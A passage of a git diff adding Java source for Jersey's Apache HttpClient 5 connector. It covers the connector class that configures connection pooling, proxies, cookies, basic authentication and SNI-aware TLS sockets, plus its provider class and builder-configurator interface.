+ * Registration of {@link Apache5HttpClientBuilderConfigurator} instance on the + * {@link jakarta.ws.rs.client.Client#register(Object) Client} is supported. A configuration provided by + * {@link Apache5HttpClientBuilderConfigurator} will override the {@link org.apache.hc.client5.http.impl.classic.HttpClientBuilder} + * configuration set by using the properties. + *

+ *

+ * If a {@link org.glassfish.jersey.client.ClientResponse} is obtained and an + * entity is not read from the response then + * {@link org.glassfish.jersey.client.ClientResponse#close()} MUST be called + * after processing the response to release connection-based resources. + *

+ *

+ * Client operations are thread safe, the HTTP connection may + * be shared between different threads. + *

+ *

+ * If a response entity is obtained that is an instance of {@link Closeable} + * then the instance MUST be closed after processing the entity to release + * connection-based resources. + *

+ *

+ * The following methods are currently supported: HEAD, GET, POST, PUT, DELETE, OPTIONS, PATCH and TRACE. + *

+ * + * @author jorgeluisw@mac.com + * @author Paul Sandoz + * @author Pavel Bucek + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Steffen Nießing + * @see Apache5ClientProperties#CONNECTION_MANAGER + */ +class Apache5Connector implements Connector { + + private static final Logger LOGGER = Logger.getLogger(Apache5Connector.class.getName()); + private static final String JERSEY_REQUEST_ATTR_NAME = "JerseyRequestAttribute"; + private static final VersionInfo vi; + private static final String release; + + static { + vi = VersionInfo.loadVersionInfo("org.apache.hc.client5", HttpClientBuilder.class.getClassLoader()); + release = (vi != null) ? vi.getRelease() : VersionInfo.UNAVAILABLE; + } + + private final CloseableHttpClient client; + private final CookieStore cookieStore; + private final boolean preemptiveBasicAuth; + private final RequestConfig requestConfig; + + /** + * Create the new Apache HTTP Client connector. + * + * @param client JAX-RS client instance for which the connector is being created. + * @param config client configuration. + */ + Apache5Connector(final Client client, final Configuration config) { + final Object connectionManager = config.getProperties().get(Apache5ClientProperties.CONNECTION_MANAGER); + if (connectionManager != null) { + if (!(connectionManager instanceof HttpClientConnectionManager)) { + LOGGER.log( + Level.WARNING, + LocalizationMessages.IGNORING_VALUE_OF_PROPERTY( + Apache5ClientProperties.CONNECTION_MANAGER, + connectionManager.getClass().getName(), + HttpClientConnectionManager.class.getName()) + ); + } + } + + Object keepAliveStrategy = config.getProperties().get(Apache5ClientProperties.KEEPALIVE_STRATEGY); + if (keepAliveStrategy != null) { + if (!(keepAliveStrategy instanceof ConnectionKeepAliveStrategy)) { + LOGGER.log( + Level.WARNING, + LocalizationMessages.IGNORING_VALUE_OF_PROPERTY( + Apache5ClientProperties.KEEPALIVE_STRATEGY, + keepAliveStrategy.getClass().getName(), + ConnectionKeepAliveStrategy.class.getName()) + ); + keepAliveStrategy = null; + } + } + + Object reuseStrategy = config.getProperties().get(Apache5ClientProperties.REUSE_STRATEGY); + if (reuseStrategy != null) { + if (!(reuseStrategy instanceof ConnectionReuseStrategy)) { + LOGGER.log( + Level.WARNING, + LocalizationMessages.IGNORING_VALUE_OF_PROPERTY( + Apache5ClientProperties.REUSE_STRATEGY, + reuseStrategy.getClass().getName(), + ConnectionReuseStrategy.class.getName()) + ); + reuseStrategy = null; + } + } + + Object reqConfig = config.getProperties().get(Apache5ClientProperties.REQUEST_CONFIG); + if (reqConfig != null) { + if (!(reqConfig instanceof RequestConfig)) { + LOGGER.log( + Level.WARNING, + LocalizationMessages.IGNORING_VALUE_OF_PROPERTY( + Apache5ClientProperties.REQUEST_CONFIG, + reqConfig.getClass().getName(), + RequestConfig.class.getName()) + ); + reqConfig = null; + } + } + + final boolean useSystemProperties = + PropertiesHelper.isProperty(config.getProperties(), Apache5ClientProperties.USE_SYSTEM_PROPERTIES); + + final SSLContext sslContext = client.getSslContext(); + final HttpClientBuilder clientBuilder = HttpClientBuilder.create(); + + if (useSystemProperties) { + clientBuilder.useSystemProperties(); + } + + clientBuilder.setConnectionManager(getConnectionManager(client, config, sslContext, useSystemProperties)); + clientBuilder.setConnectionManagerShared( + PropertiesHelper.getValue( + config.getProperties(), + Apache5ClientProperties.CONNECTION_MANAGER_SHARED, + false, + null + ) + ); + if (keepAliveStrategy != null) { + clientBuilder.setKeepAliveStrategy((ConnectionKeepAliveStrategy) keepAliveStrategy); + } + if (reuseStrategy != null) { + clientBuilder.setConnectionReuseStrategy((ConnectionReuseStrategy) reuseStrategy); + } + + final RequestConfig.Builder requestConfigBuilder = RequestConfig.custom(); + + final Object credentialsProvider = config.getProperty(Apache5ClientProperties.CREDENTIALS_PROVIDER); + if (credentialsProvider != null && (credentialsProvider instanceof CredentialsProvider)) { + clientBuilder.setDefaultCredentialsProvider((CredentialsProvider) credentialsProvider); + } + + final Object retryHandler = config.getProperties().get(Apache5ClientProperties.RETRY_STRATEGY); + if (retryHandler != null && (retryHandler instanceof HttpRequestRetryStrategy)) { + clientBuilder.setRetryStrategy((HttpRequestRetryStrategy) retryHandler); + } + + final Optional proxy = ClientProxy.proxyFromConfiguration(config); + proxy.ifPresent(clientProxy -> { + final URI u = clientProxy.uri(); + final HttpHost proxyHost = new HttpHost(u.getScheme(), u.getHost(), u.getPort()); + if (clientProxy.userName() != null && clientProxy.password() != null) { + final CredentialsStore credsProvider = new BasicCredentialsProvider(); + credsProvider.setCredentials( + new AuthScope(u.getHost(), u.getPort()), + new UsernamePasswordCredentials(clientProxy.userName(), clientProxy.password().toCharArray()) + ); + clientBuilder.setDefaultCredentialsProvider(credsProvider); + } + clientBuilder.setProxy(proxyHost); + }); + + final Boolean preemptiveBasicAuthProperty = (Boolean) config.getProperties() + .get(Apache5ClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION); + this.preemptiveBasicAuth = (preemptiveBasicAuthProperty != null) ? preemptiveBasicAuthProperty : false; + + final boolean ignoreCookies = PropertiesHelper.isProperty( + config.getProperties(), + Apache5ClientProperties.DISABLE_COOKIES + ); + + if (reqConfig != null) { + final RequestConfig.Builder reqConfigBuilder = RequestConfig.copy((RequestConfig) reqConfig); + if (ignoreCookies) { + reqConfigBuilder.setCookieSpec(StandardCookieSpec.IGNORE); + } + requestConfig = reqConfigBuilder.build(); + } else { + if (ignoreCookies) { + requestConfigBuilder.setCookieSpec(StandardCookieSpec.IGNORE); + } + requestConfig = requestConfigBuilder.build(); + } + + if (requestConfig.getCookieSpec() == null || !requestConfig.getCookieSpec().equals(StandardCookieSpec.IGNORE)) { + this.cookieStore = new BasicCookieStore(); + clientBuilder.setDefaultCookieStore(cookieStore); + } else { + this.cookieStore = null; + } + clientBuilder.setDefaultRequestConfig(requestConfig); + + LinkedList contracts = config.getInstances().stream() + .filter(Apache5HttpClientBuilderConfigurator.class::isInstance) + .collect(Collectors.toCollection(LinkedList::new)); + + HttpClientBuilder configuredBuilder = clientBuilder; + for (Object configurator : contracts) { + configuredBuilder = ((Apache5HttpClientBuilderConfigurator) configurator).configure(configuredBuilder); + } + + this.client = configuredBuilder.build(); + } + + private HttpClientConnectionManager getConnectionManager(final Client client, + final Configuration config, + final SSLContext sslContext, + final boolean useSystemProperties) { + final Object cmObject = config.getProperties().get(Apache5ClientProperties.CONNECTION_MANAGER); + + // Connection manager from configuration. + if (cmObject != null) { + if (cmObject instanceof HttpClientConnectionManager) { + return (HttpClientConnectionManager) cmObject; + } else { + LOGGER.log( + Level.WARNING, + LocalizationMessages.IGNORING_VALUE_OF_PROPERTY( + Apache5ClientProperties.CONNECTION_MANAGER, + cmObject.getClass().getName(), + HttpClientConnectionManager.class.getName()) + ); + } + } + + // Create custom connection manager. + return createConnectionManager( + client, + config, + sslContext, + useSystemProperties); + } + + private HttpClientConnectionManager createConnectionManager( + final Client client, + final Configuration config, + final SSLContext sslContext, + final boolean useSystemProperties) { + + final String[] supportedProtocols = useSystemProperties ? split( + System.getProperty("https.protocols")) : null; + final String[] supportedCipherSuites = useSystemProperties ? split( + System.getProperty("https.cipherSuites")) : null; + + HostnameVerifier hostnameVerifier = client.getHostnameVerifier(); + + final LayeredConnectionSocketFactory sslSocketFactory; + if (sslContext != null) { + sslSocketFactory = new SniSSLConnectionSocketFactory( + sslContext, supportedProtocols, supportedCipherSuites, hostnameVerifier); + } else { + if (useSystemProperties) { + sslSocketFactory = new SniSSLConnectionSocketFactory( + (SSLSocketFactory) SSLSocketFactory.getDefault(), + supportedProtocols, supportedCipherSuites, hostnameVerifier); + } else { + sslSocketFactory = new SniSSLConnectionSocketFactory( + SSLContexts.createDefault(), + hostnameVerifier); + } + } + + final Registry registry = RegistryBuilder.create() + .register("http", PlainConnectionSocketFactory.getSocketFactory()) + .register("https", sslSocketFactory) + .build(); + + final Integer chunkSize = ClientProperties.getValue(config.getProperties(), + ClientProperties.CHUNKED_ENCODING_SIZE, ClientProperties.DEFAULT_CHUNK_SIZE, Integer.class); + + final PoolingHttpClientConnectionManager connectionManager = + new PoolingHttpClientConnectionManager(registry, new ConnectionFactory(chunkSize)); + + if (useSystemProperties) { + String s = System.getProperty("http.keepAlive", "true"); + if ("true".equalsIgnoreCase(s)) { + s = System.getProperty("http.maxConnections", "5"); + final int max = Integer.parseInt(s); + connectionManager.setDefaultMaxPerRoute(max); + connectionManager.setMaxTotal(2 * max); + } + } + + return connectionManager; + } + + private static String[] split(final String s) { + if (TextUtils.isBlank(s)) { + return null; + } + return s.split(" *, *"); + } + + /** + * Get the {@link HttpClient}. + * + * @return the {@link HttpClient}. + */ + @SuppressWarnings("UnusedDeclaration") + public HttpClient getHttpClient() { + return client; + } + + /** + * Get the {@link CookieStore}. + * + * @return the {@link CookieStore} instance or {@code null} when {@value Apache5ClientProperties#DISABLE_COOKIES} set to + * {@code true}. + */ + public CookieStore getCookieStore() { + return cookieStore; + } + + @Override + public ClientResponse apply(final ClientRequest clientRequest) throws ProcessingException { + final HttpUriRequest request = getUriHttpRequest(clientRequest); + final Map clientHeadersSnapshot = writeOutBoundHeaders(clientRequest, request); + + try { + final CloseableHttpResponse response; + final HttpClientContext context = HttpClientContext.create(); + final HttpHost httpHost = getHost(request); + + // If a request-specific CredentialsProvider exists, use it instead of the default one + CredentialsProvider credentialsProvider = + clientRequest.resolveProperty(Apache5ClientProperties.CREDENTIALS_PROVIDER, CredentialsProvider.class); + if (credentialsProvider != null) { + context.setCredentialsProvider(credentialsProvider); + } + + if (preemptiveBasicAuth) { + final AuthCache authCache = new BasicAuthCache(); + final BasicScheme basicScheme = new BasicScheme(); + final AuthScope authScope = new AuthScope(httpHost); + basicScheme.initPreemptive(credentialsProvider.getCredentials(authScope, context)); + context.resetAuthExchange(httpHost, basicScheme); + authCache.put(httpHost, basicScheme); // must be after initPreemptive + context.setAuthCache(authCache); + } + + context.setAttribute(JERSEY_REQUEST_ATTR_NAME, clientRequest); + response = client.execute(httpHost, request, context); + HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, clientRequest.getHeaders(), + this.getClass().getName(), clientRequest.getConfiguration()); + + final Response.StatusType status = response.getReasonPhrase() == null + ? Statuses.from(response.getCode()) + : Statuses.from(response.getCode(), response.getReasonPhrase()); + + final ClientResponse responseContext = new ClientResponse(status, clientRequest); + final List redirectLocations = context.getRedirectLocations().getAll(); + if (redirectLocations != null && !redirectLocations.isEmpty()) { + responseContext.setResolvedRequestUri(redirectLocations.get(redirectLocations.size() - 1)); + } + + final Header[] respHeaders = response.getHeaders(); + final MultivaluedMap headers = responseContext.getHeaders(); + for (final Header header : respHeaders) { + final String headerName = header.getName(); + List list = headers.get(headerName); + if (list == null) { + list = new ArrayList<>(); + } + list.add(header.getValue()); + headers.put(headerName, list); + } + + final HttpEntity entity = response.getEntity(); + + if (entity != null) { + if (headers.get(HttpHeaders.CONTENT_LENGTH) == null) { + headers.add(HttpHeaders.CONTENT_LENGTH, String.valueOf(entity.getContentLength())); + } + + final String contentEncoding = entity.getContentEncoding(); + if (headers.get(HttpHeaders.CONTENT_ENCODING) == null && contentEncoding != null && !contentEncoding.isEmpty()) { + headers.add(HttpHeaders.CONTENT_ENCODING, contentEncoding); + } + } + + try { + final ConnectionClosingMechanism closingMechanism = new ConnectionClosingMechanism(clientRequest, request); + responseContext.setEntityStream(getInputStream(response, closingMechanism)); + } catch (final IOException e) { + LOGGER.log(Level.SEVERE, null, e); + } + + return responseContext; + } catch (final Exception e) { + throw new ProcessingException(e); + } + } + + @Override + public Future apply(final ClientRequest request, final AsyncConnectorCallback callback) { + try { + ClientResponse response = apply(request); + callback.response(response); + return CompletableFuture.completedFuture(response); + } catch (Throwable t) { + callback.failure(t); + CompletableFuture future = new CompletableFuture<>(); + future.completeExceptionally(t); + return future; + } + } + + @Override + public String getName() { + return "Apache HttpClient " + release; + } + + @Override + public void close() { + try { + client.close(); + } catch (final IOException e) { + throw new ProcessingException(LocalizationMessages.FAILED_TO_STOP_CLIENT(), e); + } + } + + private HttpHost getHost(final HttpUriRequest request) throws URISyntaxException { + return new HttpHost(request.getUri().getScheme(), request.getUri().getHost(), request.getUri().getPort()); + } + + private HttpUriRequest getUriHttpRequest(final ClientRequest clientRequest) { + final RequestConfig.Builder requestConfigBuilder = RequestConfig.copy(requestConfig); + + final int connectTimeout = clientRequest.resolveProperty(ClientProperties.CONNECT_TIMEOUT, -1); + final int socketTimeout = clientRequest.resolveProperty(ClientProperties.READ_TIMEOUT, -1); + + if (connectTimeout >= 0) { + requestConfigBuilder.setConnectTimeout(Timeout.ofMilliseconds(connectTimeout)); + } + if (socketTimeout >= 0) { + requestConfigBuilder.setResponseTimeout(Timeout.ofMilliseconds(socketTimeout)); + } + + final Boolean redirectsEnabled = + clientRequest.resolveProperty(ClientProperties.FOLLOW_REDIRECTS, requestConfig.isRedirectsEnabled()); + requestConfigBuilder.setRedirectsEnabled(redirectsEnabled); + + final Boolean bufferingEnabled = clientRequest.resolveProperty(ClientProperties.REQUEST_ENTITY_PROCESSING, + RequestEntityProcessing.class) == RequestEntityProcessing.BUFFERED; + final HttpEntity entity = getHttpEntity(clientRequest, bufferingEnabled); + + HttpUriRequestBase httpUriRequestBase = new HttpUriRequestBase(clientRequest.getMethod(), clientRequest.getUri()); + httpUriRequestBase.setConfig(requestConfigBuilder.build()); + httpUriRequestBase.setEntity(entity); + + return httpUriRequestBase; + } + + private HttpEntity getHttpEntity(final ClientRequest clientRequest, final boolean bufferingEnabled) { + final Object entity = clientRequest.getEntity(); + + if (entity == null) { + return null; + } + + if (HttpEntity.class.isInstance(entity)) { + return wrapHttpEntity(clientRequest, (HttpEntity) entity); + } + + String contentType = clientRequest.getHeaderString(HttpHeaders.CONTENT_TYPE); + String contentEncoding = clientRequest.getHeaderString(HttpHeaders.CONTENT_ENCODING); + + final AbstractHttpEntity httpEntity = new AbstractHttpEntity(contentType, contentEncoding) { + @Override + public void close() throws IOException { + + } + + @Override + public boolean isRepeatable() { + return false; + } + + @Override + public long getContentLength() { + return -1; + } + + @Override + public InputStream getContent() throws IOException, IllegalStateException { + if (bufferingEnabled) { + final ByteArrayOutputStream buffer = new ByteArrayOutputStream(512); + writeTo(buffer); + return new ByteArrayInputStream(buffer.toByteArray()); + } else { + return null; + } + } + + @Override + public void writeTo(final OutputStream outputStream) throws IOException { + clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() { + @Override + public OutputStream getOutputStream(final int contentLength) throws IOException { + return outputStream; + } + }); + clientRequest.writeEntity(); + } + + @Override + public boolean isStreaming() { + return false; + } + }; + + return bufferEntity(httpEntity, bufferingEnabled); + } + + private HttpEntity wrapHttpEntity(final ClientRequest clientRequest, final HttpEntity originalEntity) { + final boolean bufferingEnabled = BufferedHttpEntity.class.isInstance(originalEntity); + + try { + clientRequest.setEntity(originalEntity.getContent()); + } catch (IOException e) { + throw new ProcessingException(LocalizationMessages.ERROR_READING_HTTPENTITY_STREAM(e.getMessage()), e); + } + + final AbstractHttpEntity httpEntity = new AbstractHttpEntity( + originalEntity.getContentType(), + originalEntity.getContentEncoding(), + originalEntity.isChunked() + ) { + @Override + public void close() throws IOException { + + } + + @Override + public boolean isRepeatable() { + return originalEntity.isRepeatable(); + } + + @Override + public long getContentLength() { + return originalEntity.getContentLength(); + } + + @Override + public InputStream getContent() throws IOException, IllegalStateException { + return originalEntity.getContent(); + } + + @Override + public void writeTo(final OutputStream outputStream) throws IOException { + clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() { + @Override + public OutputStream getOutputStream(final int contentLength) throws IOException { + return outputStream; + } + }); + clientRequest.writeEntity(); + } + + @Override + public boolean isStreaming() { + return originalEntity.isStreaming(); + } + }; + + return bufferEntity(httpEntity, bufferingEnabled); + } + + private static HttpEntity bufferEntity(HttpEntity httpEntity, boolean bufferingEnabled) { + if (bufferingEnabled) { + try { + return new BufferedHttpEntity(httpEntity); + } catch (final IOException e) { + throw new ProcessingException(LocalizationMessages.ERROR_BUFFERING_ENTITY(), e); + } + } else { + return httpEntity; + } + } + + private static Map writeOutBoundHeaders(final ClientRequest clientRequest, + final HttpUriRequest request) { + final Map stringHeaders = + HeaderUtils.asStringHeadersSingleValue(clientRequest.getHeaders(), clientRequest.getConfiguration()); + + for (final Map.Entry e : stringHeaders.entrySet()) { + request.addHeader(e.getKey(), e.getValue()); + } + return stringHeaders; + } + + private static InputStream getInputStream(final CloseableHttpResponse response, + final ConnectionClosingMechanism closingMechanism) throws IOException { + final InputStream inputStream; + + if (response.getEntity() == null) { + inputStream = new ByteArrayInputStream(new byte[0]); + } else { + final InputStream i = response.getEntity().getContent(); + if (i.markSupported()) { + inputStream = i; + } else { + inputStream = new BufferedInputStream(i, ReaderWriter.BUFFER_SIZE); + } + } + + return closingMechanism.getEntityStream(inputStream, response); + } + + /** + * The way the Apache CloseableHttpResponse is to be closed. + * See https://github.com/eclipse-ee4j/jersey/issues/4321 + * {@link Apache5ClientProperties#CONNECTION_CLOSING_STRATEGY} + */ + private final class ConnectionClosingMechanism { + private Apache5ConnectionClosingStrategy connectionClosingStrategy = null; + private final ClientRequest clientRequest; + private final HttpUriRequest apacheRequest; + + private ConnectionClosingMechanism(ClientRequest clientRequest, HttpUriRequest apacheRequest) { + this.clientRequest = clientRequest; + this.apacheRequest = apacheRequest; + Object closingStrategyProperty = clientRequest + .resolveProperty(Apache5ClientProperties.CONNECTION_CLOSING_STRATEGY, Object.class); + if (closingStrategyProperty != null) { + if (Apache5ConnectionClosingStrategy.class.isInstance(closingStrategyProperty)) { + connectionClosingStrategy = (Apache5ConnectionClosingStrategy) closingStrategyProperty; + } else { + LOGGER.log( + Level.WARNING, + LocalizationMessages.IGNORING_VALUE_OF_PROPERTY( + Apache5ClientProperties.CONNECTION_CLOSING_STRATEGY, + closingStrategyProperty, + Apache5ConnectionClosingStrategy.class.getName()) + ); + } + } + + if (connectionClosingStrategy == null) { + connectionClosingStrategy = Apache5ConnectionClosingStrategy.Apache5GracefulClosingStrategy.INSTANCE; + } + } + + private InputStream getEntityStream(final InputStream inputStream, + final CloseableHttpResponse response) { + InputStream filterStream = new FilterInputStream(inputStream) { + @Override + public void close() throws IOException { + connectionClosingStrategy.close(clientRequest, apacheRequest, response, in); + } + }; + return filterStream; + } + } + + private static class ConnectionFactory extends ManagedHttpClientConnectionFactory { + private ConnectionFactory(final int chunkSize) { + super( + Http1Config.custom().setChunkSizeHint(chunkSize).build(), + null, + null, + null, + DefaultContentLengthStrategy.INSTANCE, + DefaultContentLengthStrategy.INSTANCE + ); + } + } + + private static final class SniSSLConnectionSocketFactory extends SSLConnectionSocketFactory { + + private final ThreadLocal httpContexts = new ThreadLocal<>(); + + public SniSSLConnectionSocketFactory(final SSLContext sslContext, + final String[] supportedProtocols, + final String[] supportedCipherSuites, + final HostnameVerifier hostnameVerifier) { + super(sslContext, supportedProtocols, supportedCipherSuites, hostnameVerifier); + } + + public SniSSLConnectionSocketFactory(final javax.net.ssl.SSLSocketFactory socketFactory, + final String[] supportedProtocols, + final String[] supportedCipherSuites, + final HostnameVerifier hostnameVerifier) { + super(socketFactory, supportedProtocols, supportedCipherSuites, hostnameVerifier); + } + + public SniSSLConnectionSocketFactory( + final SSLContext sslContext, final HostnameVerifier hostnameVerifier) { + super(sslContext, hostnameVerifier); + } + + /* Pre 5.2 */ + @Override + public Socket createLayeredSocket( + final Socket socket, + final String target, + final int port, + final HttpContext context) throws IOException { + httpContexts.set(context); + try { + return super.createLayeredSocket(socket, target, port, context); + } finally { + httpContexts.remove(); + } + } + + /* Post 5.2 */ + public Socket createLayeredSocket( + final Socket socket, + final String target, + final int port, + final Object attachment, + final HttpContext context) throws IOException { + httpContexts.set(context); + try { + return super.createLayeredSocket(socket, target, port, attachment, context); + } finally { + httpContexts.remove(); + } + } + + @Override + protected void prepareSocket(SSLSocket socket) throws IOException { + HttpContext context = httpContexts.get(); + + if (context != null) { + Object objectRequest = context.getAttribute(JERSEY_REQUEST_ATTR_NAME); + if (objectRequest != null) { + ClientRequest clientRequest = (ClientRequest) objectRequest; + SSLParamConfigurator sniConfig = SSLParamConfigurator.builder().request(clientRequest).build(); + sniConfig.setSNIServerName(socket); + + final int socketTimeout = ((ClientRequest) objectRequest).resolveProperty(ClientProperties.READ_TIMEOUT, -1); + if (socketTimeout >= 0) { + socket.setSoTimeout(socketTimeout); + } + } + } + } + } +} diff --git a/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5ConnectorProvider.java b/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5ConnectorProvider.java new file mode 100644 index 00000000000..a5a5ffd5b0a --- /dev/null +++ b/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5ConnectorProvider.java @@ -0,0 +1,160 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configurable; +import jakarta.ws.rs.core.Configuration; + +import org.apache.hc.client5.http.classic.HttpClient; +import org.apache.hc.client5.http.cookie.CookieStore; +import org.glassfish.jersey.client.Initializable; +import org.glassfish.jersey.client.spi.Connector; +import org.glassfish.jersey.client.spi.ConnectorProvider; + +/** + * Connector provider for Jersey {@link Connector connectors} that utilize + * Apache HTTP Client to send and receive HTTP request and responses. + *

+ * The following connector configuration properties are supported: + *

    + *
  • {@link Apache5ClientProperties#CONNECTION_CLOSING_STRATEGY}
  • + *
  • {@link Apache5ClientProperties#CONNECTION_MANAGER}
  • + *
  • {@link Apache5ClientProperties#CONNECTION_MANAGER_SHARED}
  • + *
  • {@link Apache5ClientProperties#DISABLE_COOKIES}
  • + *
  • {@link Apache5ClientProperties#CREDENTIALS_PROVIDER}
  • + *
  • {@link Apache5ClientProperties#KEEPALIVE_STRATEGY}
  • + *
  • {@link Apache5ClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}
  • + *
  • {@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}
  • + *
  • {@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}
  • + *
  • {@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}
  • + *
  • {@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING} + * - default value is {@link org.glassfish.jersey.client.RequestEntityProcessing#CHUNKED}
  • + *
  • {@link Apache5ClientProperties#REQUEST_CONFIG}
  • + *
  • {@link Apache5ClientProperties#RETRY_STRATEGY}
  • + *
  • {@link Apache5ClientProperties#REUSE_STRATEGY}
  • + *
  • {@link Apache5ClientProperties#USE_SYSTEM_PROPERTIES}
  • + *
+ *

+ *

+ * Connector instances created via this connector provider use + * {@link org.glassfish.jersey.client.RequestEntityProcessing#CHUNKED chunked encoding} as a default setting. + * This can be overridden by the {@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING}. + * By default the {@link org.glassfish.jersey.client.ClientProperties#CHUNKED_ENCODING_SIZE} property is only supported + * when using the default {@link org.apache.hc.core5.http.io.HttpClientConnection} instance. If custom + * connection manager is used, then chunked encoding size can be set by providing a custom + * {@link org.apache.hc.core5.http.io.HttpClientConnection} (via custom {@link org.apache.hc.client5.http.impl.io.ManagedHttpClientConnectionFactory}) + * and overriding it's {@code createOutputStream} method. + *

+ *

+ * Use of authorization by the AHC-based connectors is dependent on the chunk encoding setting. + * If the entity buffering is enabled, the entity is buffered and authorization can be performed + * automatically in response to a 401 by sending the request again. When entity buffering + * is disabled (chunked encoding is used) then the property + * {@link Apache5ClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION} must + * be set to {@code true}. + *

+ *

+ * If a {@link org.glassfish.jersey.client.ClientResponse} is obtained and an entity is not read from the response then + * {@link org.glassfish.jersey.client.ClientResponse#close()} MUST be called after processing the response to release + * connection-based resources. + *

+ *

+ * Registration of {@link Apache5HttpClientBuilderConfigurator} instance on the + * {@link jakarta.ws.rs.client.Client#register(Object) Client} is supported. A configuration provided by + * {@link Apache5HttpClientBuilderConfigurator} will override the {@link org.apache.hc.client5.http.impl.classic.HttpClientBuilder} + * configuration set by using the properties. + *

+ *

+ * If a response entity is obtained that is an instance of {@link java.io.Closeable} + * then the instance MUST be closed after processing the entity to release + * connection-based resources. + *

+ *

+ * The following methods are currently supported: HEAD, GET, POST, PUT, DELETE, OPTIONS, PATCH and TRACE. + *

+ * + * @author Pavel Bucek + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author jorgeluisw at mac.com + * @author Marek Potociar + * @author Paul Sandoz + * @author Maksim Mukosey (mmukosey at gmail.com) + * @since 2.5 + */ +public class Apache5ConnectorProvider implements ConnectorProvider { + + @Override + public Connector getConnector(final Client client, final Configuration runtimeConfig) { + return new Apache5Connector(client, runtimeConfig); + } + + /** + * Retrieve the underlying Apache {@link org.apache.hc.client5.http.classic.HttpClient} instance from + * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget} + * configured to use {@code ApacheConnectorProvider}. + * + * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use + * {@code ApacheConnectorProvider}. + * @return underlying Apache {@code HttpClient} instance. + * + * @throws java.lang.IllegalArgumentException in case the {@code component} is neither {@code JerseyClient} + * nor {@code JerseyWebTarget} instance or in case the component + * is not configured to use a {@code ApacheConnectorProvider}. + * @since 2.8 + */ + public static HttpClient getHttpClient(final Configurable component) { + return getConnector(component).getHttpClient(); + } + + /** + * Retrieve the underlying Apache {@link CookieStore} instance from + * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget} + * configured to use {@code ApacheConnectorProvider}. + * + * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use + * {@code ApacheConnectorProvider}. + * @return underlying Apache {@code CookieStore} instance. + * @throws java.lang.IllegalArgumentException in case the {@code component} is neither {@code JerseyClient} + * nor {@code JerseyWebTarget} instance or in case the component + * is not configured to use a {@code ApacheConnectorProvider}. + * @since 2.16 + */ + public static CookieStore getCookieStore(final Configurable component) { + return getConnector(component).getCookieStore(); + } + + private static Apache5Connector getConnector(final Configurable component) { + if (!(component instanceof Initializable)) { + throw new IllegalArgumentException( + LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName())); + } + + final Initializable initializable = (Initializable) component; + Connector connector = initializable.getConfiguration().getConnector(); + if (connector == null) { + initializable.preInitialize(); + connector = initializable.getConfiguration().getConnector(); + } + + if (connector instanceof Apache5Connector) { + return (Apache5Connector) connector; + } else { + throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED()); + } + } +} diff --git a/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5HttpClientBuilderConfigurator.java b/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5HttpClientBuilderConfigurator.java new file mode 100644 index 00000000000..d179f5c6203 --- /dev/null +++ b/connectors/apache5-connector/src/main/java/org/glassfish/jersey/apache5/connector/Apache5HttpClientBuilderConfigurator.java @@ -0,0 +1,36 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.apache5.connector; + +import org.apache.hc.client5.http.impl.classic.HttpClientBuilder; +import org.glassfish.jersey.spi.Contract; + +/** + * A callback interface used to configure {@link org.apache.hc.client5.http.impl.classic.HttpClientBuilder}. It is called immediately before + * the {@link Apache5ConnectorProvider} creates {@link org.apache.hc.client5.http.classic.HttpClient}, after the + * {@link org.apache.hc.client5.http.impl.classic.HttpClientBuilder} is configured using the properties. + */ +@Contract +public interface Apache5HttpClientBuilderConfigurator { + /** + * A callback method to configure the {@link org.apache.hc.client5.http.impl.classic.HttpClientBuilder} + * @param httpClientBuilder {@link org.apache.hc.client5.http.impl.classic.HttpClientBuilder} object to be further configured + * @return the configured {@link org.apache.hc.client5.http.impl.classic.HttpClientBuilder}. If {@code null} is returned the + * {@code httpClientBuilder} is used by {@link Apache5ConnectorProvider} instead. + */ + HttpClientBuilder configure(HttpClientBuilder httpClientBuilder); +} diff --git 